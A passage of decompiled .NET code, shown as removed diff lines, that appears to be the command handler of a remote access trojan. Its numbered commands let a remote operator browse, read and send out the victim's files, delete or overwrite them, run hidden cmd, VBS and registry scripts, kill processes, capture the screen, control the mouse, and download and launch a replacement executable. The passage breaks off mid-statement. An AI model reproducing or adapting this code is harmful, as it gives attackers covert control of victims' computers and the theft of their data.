(object) s15 - }, (string[]) null, true, false); - string[] files = Directory.GetFiles(path2); - int index5 = 0; - while (index5 < files.Length) - { - string str52 = files[index5]; - string[] strArray4 = strArray3; - int index6 = 0; - bool flag; - while (index6 < strArray4.Length) - { - if (Operators.CompareString(strArray4[index6].ToLower(), Strings.Split(str52, ".")[checked (Strings.Split(str52, ".").Length - 1)].ToLower(), false) == 0) - { - flag = true; - break; - } - checked { ++index6; } - } - string s16; - if (flag & num24 < 20) - { - try - { - Image image = Image.FromFile(str52); - MemoryStream memoryStream = new MemoryStream(); - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 40L); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - image.GetThumbnailImage(20, 20, (Image.GetThumbnailImageAbort) null, IntPtr.Zero).Save((Stream) memoryStream, encoderInfo, encoderParams); - string str53 = str48; - string y = IND.Y; - string[] strArray5 = new string[5]; - string[] strArray6 = strArray5; - string Expression = str52; - Array Instance19 = Instance1; - object[] objArray36 = new object[1]; - object[] objArray37 = objArray36; - int num26 = 1; - // ISSUE: variable of a boxed type - __Boxed local43 = (ValueType) num26; - objArray37[0] = (object) local43; - object[] Arguments12 = objArray36; - string s17 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance19, Arguments12, (string[]) null)); - string Find = API.DEB(ref s17); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num26, - (object) s17 - }, (string[]) null, true, false); - string str54 = Strings.Replace(Expression, Find, ""); - strArray6[0] = str54; - strArray5[1] = "*"; - strArray5[2] = Conversions.ToString(FileSystem.FileLen(str52)); - strArray5[3] = "*"; - strArray5[4] = API.FEN(memoryStream.ToArray()); - s16 = string.Concat(strArray5); - string str55 = API.ENB(ref s16); - str48 = str53 + y + str55; - memoryStream.Dispose(); - encoderParams.Dispose(); - image.Dispose(); - checked { ++num24; } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - string str56 = str48; - string y = IND.Y; - string Expression = str52; - Array Instance20 = Instance1; - object[] objArray38 = new object[1]; - object[] objArray39 = objArray38; - int num27 = 1; - // ISSUE: variable of a boxed type - __Boxed local44 = (ValueType) num27; - objArray39[0] = (object) local44; - object[] Arguments13 = objArray38; - string s18 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance20, Arguments13, (string[]) null)); - string Find = API.DEB(ref s18); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num27, - (object) s18 - }, (string[]) null, true, false); - string s19 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(str52)); - string str57 = API.ENB(ref s19); - str48 = str56 + y + str57; - ProjectData.ClearProjectError(); - } - } - else - { - string str58 = str48; - string y = IND.Y; - string Expression = str52; - Array Instance21 = Instance1; - object[] objArray40 = new object[1]; - object[] objArray41 = objArray40; - int num28 = 1; - // ISSUE: variable of a boxed type - __Boxed local45 = (ValueType) num28; - objArray41[0] = (object) local45; - object[] Arguments14 = objArray40; - string s20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance21, Arguments14, (string[]) null)); - string Find = API.DEB(ref s20); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num28, - (object) s20 - }, (string[]) null, true, false); - s16 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(str52)); - string str59 = API.ENB(ref s16); - str48 = str58 + y + str59; - } - checked { ++index5; } - } - B b = MyProject.Forms.B; - string str60 = "#9" + str48; - ref string local46 = ref str60; - b.SEND(ref local46); - } - else if (Operators.CompareString(Left1, "#11", false) == 0) - { - num1 = 6; - int num29 = checked (Instance1.Length - 1); - int num30 = 1; - while (num30 <= num29) - { - try - { - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num30 - }, (string[]) null)); - string fileName = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num30, - (object) s - }, (string[]) null, true, false); - Process.Start(fileName); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num30; } - } - } - else if (Operators.CompareString(Left1, "#12", false) == 0) - { - num1 = 6; - Array Instance22 = Instance1; - object[] objArray42 = new object[1]; - object[] objArray43 = objArray42; - int num31 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num31; - objArray43[0] = (object) local; - object[] Arguments = objArray42; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance22, Arguments, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num31, - (object) s - }, (string[]) null, true, false); - Array Instance23 = (Array) Strings.Split(Expression, "\r\n"); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 3 - }, (string[]) null), (object) "DIR", false)) - MyProject.Computer.FileSystem.RenameDirectory(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 2 - }, (string[]) null))); - else - MyProject.Computer.FileSystem.RenameFile(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 2 - }, (string[]) null))); - } - else if (Operators.CompareString(Left1, "#13", false) == 0) - { - num1 = 6; - int num32 = checked (Instance1.Length - 1); - int num33 = 1; - while (num33 <= num32) - { - string s21 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num33 - }, (string[]) null)); - string path3 = API.DEB(ref s21); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num33, - (object) s21 - }, (string[]) null, true, false); - if (Directory.Exists(path3)) - { - string s22 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num33 - }, (string[]) null)); - string path4 = API.DEB(ref s22); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num33, - (object) s22 - }, (string[]) null, true, false); - Directory.Delete(path4, true); - } - else - { - string s23 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num33 - }, (string[]) null)); - string path5 = API.DEB(ref s23); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num33, - (object) s23 - }, (string[]) null, true, false); - File.Delete(path5); - } - checked { ++num33; } - } - } - else if (Operators.CompareString(Left1, "#14", false) == 0) - { - num1 = 6; - Array Instance24 = Instance1; - object[] objArray44 = new object[1]; - object[] objArray45 = objArray44; - int num34 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num34; - objArray45[0] = (object) local; - object[] Arguments = objArray44; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance24, Arguments, (string[]) null)); - string Path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num34, - (object) s - }, (string[]) null, true, false); - FileSystem.MkDir(Path); - } - else if (Operators.CompareString(Left1, "#15", false) == 0) - { - num1 = 6; - int num35 = checked (Instance1.Length - 1); - int num36 = 1; - while (num36 <= num35) - { - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num36 - }, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num36, - (object) s - }, (string[]) null, true, false); - Array Instance25 = (Array) Strings.Split(Expression, "\r\n"); - if (Directory.Exists(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"))) - Directory.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 2 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\")); - else - File.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 2 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\")); - checked { ++num36; } - } - } - else if (Operators.CompareString(Left1, "#16", false) == 0) - { - num1 = 6; - B b = MyProject.Forms.B; - string str61 = "#11" + IND.Y; - Array Instance26 = Instance1; - object[] objArray46 = new object[1]; - object[] objArray47 = objArray46; - int num37 = 1; - // ISSUE: variable of a boxed type - __Boxed local47 = (ValueType) num37; - objArray47[0] = (object) local47; - object[] Arguments = objArray46; - string s24 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance26, Arguments, (string[]) null)); - string path = API.DEB(ref s24); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num37, - (object) s24 - }, (string[]) null, true, false); - string s25 = File.ReadAllText(path); - string str62 = API.ENB(ref s25); - string str63 = Conversions.ToString(Operators.ConcatenateObject((object) (str61 + str62 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - ref string local48 = ref str63; - b.SEND(ref local48); - } - else if (Operators.CompareString(Left1, "#17", false) == 0) - { - num1 = 6; - Array Instance27 = Instance1; - object[] objArray48 = new object[1]; - object[] objArray49 = objArray48; - int num38 = 1; - // ISSUE: variable of a boxed type - __Boxed local49 = (ValueType) num38; - objArray49[0] = (object) local49; - object[] Arguments15 = objArray48; - string s26 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance27, Arguments15, (string[]) null)); - string path = API.DEB(ref s26); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num38, - (object) s26 - }, (string[]) null, true, false); - Array Instance28 = Instance1; - object[] objArray50 = new object[1]; - object[] objArray51 = objArray50; - int num39 = 2; - // ISSUE: variable of a boxed type - __Boxed local50 = (ValueType) num39; - objArray51[0] = (object) local50; - object[] Arguments16 = objArray50; - string s27 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance28, Arguments16, (string[]) null)); - string contents = API.DEB(ref s27); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num39, - (object) s27 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - } - else if (Operators.CompareString(Left1, "#18", false) == 0) - { - num1 = 6; - Array Instance29 = Instance1; - object[] objArray52 = new object[1]; - object[] objArray53 = objArray52; - int num40 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num40; - objArray53[0] = (object) local; - object[] Arguments = objArray52; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance29, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num40, - (object) s - }, (string[]) null, true, false); - File.Create(path); - } - else if (Operators.CompareString(Left1, "#19", false) == 0) - { - num1 = 6; - MemoryStream memoryStream = new MemoryStream(); - int num41 = checked (Strings.InStr(str1, Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null))) + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null).ToString().Length + IND.Y.Length - 1); - int num42 = checked (Da.Length - 1); - int index = num41; - while (index <= num42) - { - memoryStream.WriteByte(Da[index]); - checked { ++index; } - } - Array Instance30 = Instance1; - object[] objArray54 = new object[1]; - object[] objArray55 = objArray54; - int num43 = 1; - // ISSUE: variable of a boxed type - __Boxed local51 = (ValueType) num43; - objArray55[0] = (object) local51; - object[] Arguments = objArray54; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance30, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num43, - (object) s - }, (string[]) null, true, false); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local52 = ref flag; - byte[] bytes = API.ZIP(array, ref local52); - File.WriteAllBytes(path, bytes); - } - else if (Operators.CompareString(Left1, "#20", false) != 0) - { - if (Operators.CompareString(Left1, "#21", false) == 0) - { - num1 = 6; - int num44 = checked (Instance1.Length - 1); - int num45 = 1; - while (num45 <= num44) - { - Thread.Sleep(10); - string s28 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num45 - }, (string[]) null)); - string filename = API.DEB(ref s28); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num45, - (object) s28 - }, (string[]) null, true, false); - new Bitmap(filename).Dispose(); - string s29 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num45 - }, (string[]) null)); - string Expression = API.DEB(ref s29); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num45, - (object) s29 - }, (string[]) null, true, false); - Array Instance31 = (Array) Strings.Split(Expression, "\\"); - B b = MyProject.Forms.B; - string[] strArray7 = new string[5] - { - "#13", - IND.Y, - null, - null, - null - }; - string[] strArray8 = strArray7; - Array Instance32 = Instance31; - object[] objArray56 = new object[1]; - object[] objArray57 = objArray56; - int num46 = checked (Instance31.Length - 1); - // ISSUE: variable of a boxed type - __Boxed local53 = (ValueType) num46; - objArray57[0] = (object) local53; - object[] Arguments = objArray56; - string s30 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance32, Arguments, (string[]) null)); - string str64 = API.ENB(ref s30); - NewLateBinding.LateIndexSetComplex((object) Instance31, new object[2] - { - (object) num46, - (object) s30 - }, (string[]) null, true, false); - strArray8[2] = str64; - strArray7[3] = IND.Y; - string[] strArray9 = strArray7; - string s31 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num45 - }, (string[]) null)); - string path = API.DEB(ref s31); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num45, - (object) s31 - }, (string[]) null, true, false); - string str65 = API.FEN(File.ReadAllBytes(path)); - strArray9[4] = str65; - string str66 = string.Concat(strArray7); - ref string local54 = ref str66; - b.SEND(ref local54); - checked { ++num45; } - } - } - else if (Operators.CompareString(Left1, "#22", false) == 0) - { - num1 = 1; - Process[] processes = Process.GetProcesses(); - int index = 0; - string str67; - while (index < processes.Length) - { - Process process = processes[index]; - try - { - str67 = str67 + IND.Y + process.MainModule.ModuleName + "*" + Conversions.ToString(process.Id); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - str67 = str67 + IND.Y + process.ProcessName + "*" + Conversions.ToString(process.Id); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - B b = MyProject.Forms.B; - string str68 = "#14" + str67; - ref string local = ref str68; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#23", false) == 0) - { - num1 = 1; - int num47 = checked (Instance1.Length - 1); - int num48 = 1; - while (num48 <= num47) - { - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num48 - }, (string[]) null))).Kill(); - checked { ++num48; } - } - } - else if (Operators.CompareString(Left1, "#24", false) == 0) - { - try - { - chat.clos = true; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - Array Instance33 = Instance1; - object[] objArray58 = new object[1]; - object[] objArray59 = objArray58; - int num49 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num49; - objArray59[0] = (object) local; - object[] Arguments = objArray58; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance33, Arguments, (string[]) null)); - string str69 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num49, - (object) s - }, (string[]) null, true, false); - B.Cht = str69; - } - else if (Operators.CompareString(Left1, "#25", false) == 0) - { - num1 = 0; - if (B.Chat.InvokeRequired) - { - IND.indd method = new IND.indd(IND.inddd); - Array Instance34 = Instance1; - object[] objArray60 = new object[1]; - object[] objArray61 = objArray60; - int num50 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num50; - objArray61[0] = (object) local; - object[] Arguments = objArray60; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance34, Arguments, (string[]) null)); - string str70 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num50, - (object) s - }, (string[]) null, true, false); - string str71 = str70; - B.Chat.Invoke((Delegate) method, (object) str71); - } - else - { - RichTextBox t1 = B.Chat.T1; - RichTextBox richTextBox = t1; - string[] strArray10 = new string[5] - { - t1.Text, - MyProject.Forms.chat.nick, - " : ", - null, - null - }; - string[] strArray11 = strArray10; - Array Instance35 = Instance1; - object[] objArray62 = new object[1]; - object[] objArray63 = objArray62; - int num51 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num51; - objArray63[0] = (object) local; - object[] Arguments = objArray62; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance35, Arguments, (string[]) null)); - string str72 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num51, - (object) s - }, (string[]) null, true, false); - strArray11[3] = str72; - strArray10[4] = "\r\n"; - string str73 = string.Concat(strArray10); - richTextBox.Text = str73; - } - } - else if (Operators.CompareString(Left1, "#26", false) == 0) - { - num1 = 0; - chat.clos = true; - } - else if (Operators.CompareString(Left1, "#27", false) == 0) - { - num1 = 1; - int num52 = 0; - string s32; - do - { - if (!File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - s32 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - break; - } - try - { - FileSystem.Kill(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - s32 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - break; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num52; } - } - while (num52 <= 9999); - string lower = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null).ToString().ToLower(); - if (Operators.CompareString(lower, "cmd", false) == 0) - { - string path = s32; - Array Instance36 = Instance1; - object[] objArray64 = new object[1]; - object[] objArray65 = objArray64; - int num53 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num53; - objArray65[0] = (object) local; - object[] Arguments = objArray64; - string s33 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance36, Arguments, (string[]) null)); - string contents = API.DEB(ref s33); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num53, - (object) s33 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Interaction.Shell(s32, AppWinStyle.Hide); - } - else if (Operators.CompareString(lower, "vbs", false) == 0) - { - string path = s32; - Array Instance37 = Instance1; - object[] objArray66 = new object[1]; - object[] objArray67 = objArray66; - int num54 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num54; - objArray67[0] = (object) local; - object[] Arguments = objArray66; - string s34 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance37, Arguments, (string[]) null)); - string contents = API.DEB(ref s34); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num54, - (object) s34 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Process.Start(s32); - } - else if (Operators.CompareString(lower, "Reg", false) == 0) - { - string path = s32; - Array Instance38 = Instance1; - object[] objArray68 = new object[1]; - object[] objArray69 = objArray68; - int num55 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num55; - objArray69[0] = (object) local; - object[] Arguments = objArray68; - string s35 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance38, Arguments, (string[]) null)); - string contents = API.DEB(ref s35); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num55, - (object) s35 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Interaction.Shell(s32); - } - else - { - string path = s32; - Array Instance39 = Instance1; - object[] objArray70 = new object[1]; - object[] objArray71 = objArray70; - int num56 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num56; - objArray71[0] = (object) local; - object[] Arguments = objArray70; - string s36 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance39, Arguments, (string[]) null)); - string contents = API.DEB(ref s36); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num56, - (object) s36 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Process.Start(s32); - } - B b = MyProject.Forms.B; - string str74 = "#10" + IND.Y + "^" + Conversions.ToString(4) + IND.Y + API.ENB(ref s32); - ref string local55 = ref str74; - b.SEND(ref local55); - } - else if (Operators.CompareString(Left1, "#28", false) == 0) - { - num1 = 1; - object Left3 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left3, (object) "!", false)) - { - B b = MyProject.Forms.B; - string y = IND.Y; - ref byte[] local56 = ref C.Plug; - string str75 = "plugin.C"; - ref string local57 = ref str75; - string str76 = "W"; - ref string local58 = ref str76; - object obj = (object) new object[0]; - ref object local59 = ref obj; - string s = Conversions.ToString(C.inv(ref local56, ref local57, ref local58, ref local59)); - string str77 = API.ENB(ref s); - string str78 = "#17" + y + str77; - ref string local60 = ref str78; - b.SEND(ref local60); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "@", false)) - { - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)); - ref byte[] local61 = ref C.Plug; - string str79 = "plugin.C"; - ref string local62 = ref str79; - string str80 = "CW"; - ref string local63 = ref str80; - object[] objArray72 = new object[2] - { - (object) integer, - null - }; - object[] objArray73 = objArray72; - Array Instance40 = Instance1; - object[] objArray74 = new object[1]; - object[] objArray75 = objArray74; - int num57 = 3; - // ISSUE: variable of a boxed type - __Boxed local64 = (ValueType) num57; - objArray75[0] = (object) local64; - object[] Arguments = objArray74; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance40, Arguments, (string[]) null)); - string str81 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num57, - (object) s - }, (string[]) null, true, false); - objArray73[1] = (object) str81; - object obj = (object) objArray72; - ref object local65 = ref obj; - C.inv(ref local61, ref local62, ref local63, ref local65); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "#", false)) - { - Array Instance41 = Instance1; - object[] objArray76 = new object[1]; - object[] objArray77 = objArray76; - int num58 = 2; - // ISSUE: variable of a boxed type - __Boxed local66 = (ValueType) num58; - objArray77[0] = (object) local66; - object[] Arguments17 = objArray76; - int integer5 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance41, Arguments17, (string[]) null)); - ref int local67 = ref integer5; - Array Instance42 = Instance1; - object[] objArray78 = new object[1]; - object[] objArray79 = objArray78; - int num59 = 3; - // ISSUE: variable of a boxed type - __Boxed local68 = (ValueType) num59; - objArray79[0] = (object) local68; - object[] Arguments18 = objArray78; - int integer6 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance42, Arguments18, (string[]) null)); - ref int local69 = ref integer6; - API.wd.G(ref local67, ref local69); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num59, - (object) integer6 - }, (string[]) null, true, false); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num58, - (object) integer5 - }, (string[]) null, true, false); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "$", false)) - { - MemoryStream memoryStream = new MemoryStream(); - int num60 = 0; - ref int local70 = ref num60; - Array Instance43 = Instance1; - object[] objArray80 = new object[1]; - object[] objArray81 = objArray80; - int num61 = 2; - // ISSUE: variable of a boxed type - __Boxed local71 = (ValueType) num61; - objArray81[0] = (object) local71; - object[] Arguments = objArray80; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance43, Arguments, (string[]) null)); - ref int local72 = ref integer; - byte[] numArray = C.Capture1(ref local70, ref local72); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num61, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - memoryStream.Write(MyProject.Forms.B.WC.STB("#18" + IND.Y), 0, MyProject.Forms.B.WC.STB("#18" + IND.Y).Length); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - memoryStream.Dispose(); - } - } - else if (Operators.CompareString(Left1, "#29", false) == 0) - { - num1 = 0; - B b = MyProject.Forms.B; - string str82 = "#Bla"; - ref string local73 = ref str82; - b.SEND(ref local73); - int num62 = 0; - string str83; - while (File.Exists(Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe")) - { - try - { - File.Delete(Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe"); - str83 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe"; - goto label_247; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num62; } - if (num62 > 999) - goto label_247; - } - str83 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe"; -label_247: - string path = str83; - byte[] B = API.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - bool flag = false; - ref bool local74 = ref flag; - byte[] bytes = API.ZIP(B, ref local74); - File.WriteAllBytes(path, bytes); - Process.Start(new ProcessStartInfo() - { - FileName = str83, - Arguments = "!0@" + Application.ExecutablePath + "@" + B.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id) - }); - } - else if (Operators.CompareString(Left1, "#30", false) == 0) - { - try - { - Array Instance44 = Instance1; - object[] objArray82 = new object[1]; - object[] objArray83 = objArray82; - int num63 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num63; - objArray83[0] = (object) local; - object[] Arguments = objArray82; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance44, Arguments, (string[]) null)); - byte[] numArray = sc.gc(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num63, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#19" + IND.Y), 0, Encoding.Default.GetBytes("#19" + IND.Y).Length); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#31", false) == 0) - { - num1 = 0; - if (B.Busy) - return; - B.Busy = true; - B b = MyProject.Forms.B; - string str84 = "#16" + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Width) + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Height); - ref string local = ref str84; - b.SEND(ref local); - B.Busy = false; - } - else if (Operators.CompareString(Left1, "#32", false) == 0) - { - num1 = 0; - Cursor.Position = new Point(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null))); - IND.mouse_event(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 